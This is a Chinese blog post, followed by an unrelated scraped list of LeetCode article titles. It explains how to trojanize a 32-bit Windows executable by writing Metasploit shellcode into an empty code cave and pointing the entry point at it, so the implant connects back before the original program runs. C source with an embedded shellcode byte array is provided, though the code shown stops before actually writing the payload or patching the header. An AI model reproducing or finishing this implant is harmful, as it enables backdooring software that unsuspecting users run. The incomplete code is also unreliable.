将ShellCode放入变量中,然后修改插入可执行文件名称,运行后即可将shellCode插入到EXE中,并设置好装载地址,程序运行后会先上线,然后在执行原始的代码,在使用metaspoit生成shellcode时,运行方式需要指定为线程运行,如果为进程运行,则会卡在ShellCode的循环代码中,原始程序则无法弹出,也就起不到插入的目的了。

插入原理: 首先计算出ShellCode的实际大小,然后将文件指针移动到文件末尾,从文件末尾开始循环查找,找到符合大小的空隙,并开始插入ShellCode代码,当插入完成后,将程序的OEP地址设置为ShellCode执行地址,执行结束后,再跳回原区段继续执行源代码,从而实现插入恶意代码的目的。

该插入程序目前只适用于32位EXE可执行文件,生成的ShellCode也必须为32位,64位需要自己修改一下。

#include <stdio.h>
#include <stddef.h>
#include <windows.h>char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";DWORD FindSpace(LPVOID lpBase, PIMAGE_NT_HEADERS pNtHeader)
{PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)(((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;LPVOID lp = malloc(sizeof(shellcode));memset(lp, 0, sizeof(shellcode));while (dwAddr > pSec->Misc.VirtualSize){int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode));if (nRet == 0)return dwAddr;dwAddr--;}free(lp);return 0;
}int main(int argc, char* argv[])
{HANDLE hFile,hMap = NULL;LPVOID lpBase = NULL;hFile = CreateFile("c://lyshark.exe",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);lpBase = MapViewOfFile(hMap,FILE_MAP_READ | FILE_MAP_WRITE,0,0,0);PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;PIMAGE_NT_HEADERS pNtHeader = NULL;PIMAGE_SECTION_HEADER pSec = NULL;IMAGE_SECTION_HEADER imgSec = { 0 };if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){return -1;}pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);DWORD dwAddr = FindSpace(lpBase, pNtHeader);DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint;CloseHandle(hMap);CloseHandle(hFile);system("pause");return 0;
}

C/C++ 搜索缝隙并插入ShellCode相关推荐

  1. 13.<tag-二叉树和BST基础>lt.701. 二叉搜索树中的插入操作0.5

    X.<tag-数组和二分查找>-lt.xx-xxxxxx + lt.xx-xxxxxx lt.701. 二叉搜索树中的插入操作 [案例需求] [思路分析一, 带返回值的递归] [代码实现] ...

  2. 代码随想录算法训练营第22天 二叉树 java :235. 二叉树的最近公共祖先 701.二叉搜索树中的插入操作 450.删除二叉搜索树中的节点

    文章目录 LeetCode 236. 二叉树的最近公共祖先 题目讲解 思路 LeetCode 701.二叉搜索树中的插入操作 题目讲解 思路 LeetCode 450.删除二叉搜索树中的节点 题目讲解 ...

  3. 二叉树part8 | ● 235. 二叉搜索树的最近公共祖先 ● 701.二叉搜索树中的插入操作 ● 450.删除二叉搜索树中的节点

    文章目录 235. 二叉搜索树的最近公共祖先 思路 代码 困难 701.二叉搜索树中的插入操作 思路 代码 450.删除二叉搜索树中的节点 思路 代码 困难 今日收获 235. 二叉搜索树的最近公共祖 ...

  4. 70. Leetcode 701. 二叉搜索树中的插入操作 (二叉搜索树-基本操作类)

    给定二叉搜索树(BST)的根节点 root 和要插入树中的值 value ,将值插入二叉搜索树. 返回插入后二叉搜索树的根节点. 输入数据 保证 ,新值和原始二叉搜索树中的任意节点值都不同.注意,可能 ...

  5. 【数据结构与算法】之深入解析“二叉搜索树中的插入操作”的求解思路与算法示例

    一.题目要求 给定二叉搜索树(BST)的根节点 root 和要插入树中的值 value,将值插入二叉搜索树,返回插入后二叉搜索树的根节点,输入数据保证,新值和原始二叉搜索树中的任意节点值都不同. 注意 ...

  6. 701. 二叉搜索树中的插入操作

    给定二叉搜索树(BST)的根节点和要插入树中的值,将值插入二叉搜索树. 返回插入后二叉搜索树的根节点. 保证原始二叉搜索树中不存在新值. 注意,可能存在多种有效的插入方式,只要树在插入后仍保持为二叉搜 ...

  7. leetcode701. 二叉搜索树中的插入操作(dfs)

    给定二叉搜索树(BST)的根节点和要插入树中的值,将值插入二叉搜索树. 返回插入后二叉搜索树的根节点. 输入数据保证,新值和原始二叉搜索树中的任意节点值都不同.注意,可能存在多种有效的插入方式,只要树 ...

  8. LeetCode 701. 二叉搜索树中的插入操作(二叉查找树/插入)

    1. 题目 给定二叉搜索树(BST)的根节点和要插入树中的值,将值插入二叉搜索树. 返回插入后二叉搜索树的根节点. 保证原始二叉搜索树中不存在新值. 注意,可能存在多种有效的插入方式,只要树在插入后仍 ...

  9. Leetcode:701. 二叉搜索树中的插入操作(C++)

    目录 问题描述: 实现代码与解析: 递归: 原理思路: 迭代: 原理思路: 问题描述: 给定二叉搜索树(BST)的根节点 root 和要插入树中的值 value ,将值插入二叉搜索树. 返回插入后二叉 ...

最新文章

  1. linux 命令安装redis
  2. 实现apply call 方法
  3. PowerBuilder9对中文字符串的处理方法
  4. 【控制】《多智能体系统的协同群集运动控制》陈杰老师-第11章-基于邻居相关状态的多智能体非合作行为检测与隔离
  5. linux 32bit 改为64bit问题
  6. oracle查询:分组查询,取出每组中的第一条记录
  7. louvain算法python_【转载】LOUVAIN算法
  8. Python:处理车辆控制单元MDF(CANApe数据)记录文件思路
  9. 百度联盟广告代码php,仿百度联盟对联广告实现代码
  10. sony媒体服务器文件不对,索尼Z280断电MXF变成RSV文件完美修复
  11. 中望3d快捷键命令大全_室内设计3D快捷键 CAD命令
  12. update时 单行子查询返回多个行 SQL 错误 [1427] 处理方案
  13. 记大数据hbase集群天坑
  14. Pycharm debug时变量无法立即显示,正在评估(evaluating )...
  15. OpenHarmony分布式软总线与设备认证模块总结
  16. 【附源码】计算机毕业设计JAVA医院病历管理系统
  17. 速记计算机键盘,中文速记电脑编码方法及输入键盘技术
  18. 开源好物分享!文档在线预览平台
  19. Camera HAL Service流程总结
  20. 【uni-app】只支持在微信小程序运行的 导入外部3d模型

热门文章

  1. Ubuntu16.04安装ROS kinetic以及标定工具Kalibr流程
  2. 东方博宜OJ 1043 - 【入门】行李托运价格
  3. 学习笔记:python爬虫(第一次写笔记,多多包涵)
  4. 错误类型:reflection.ReflectionException: Could not set property ‘xxx‘ of ‘class ‘xxx‘ with value ‘xxx‘
  5. Adguard Mac版(广告拦截软件)
  6. PS新手教程:加深减淡工具使用方法
  7. 进入qq空间显示服务器错误,解决QQ空间打开无响应或报错的方法
  8. 2021爱智先行者—最全硬件入手体验及介绍
  9. 全球14个典型区域的total runof 泰勒图比较
  10. python脚本抢优惠券_Python写京东抢券小工具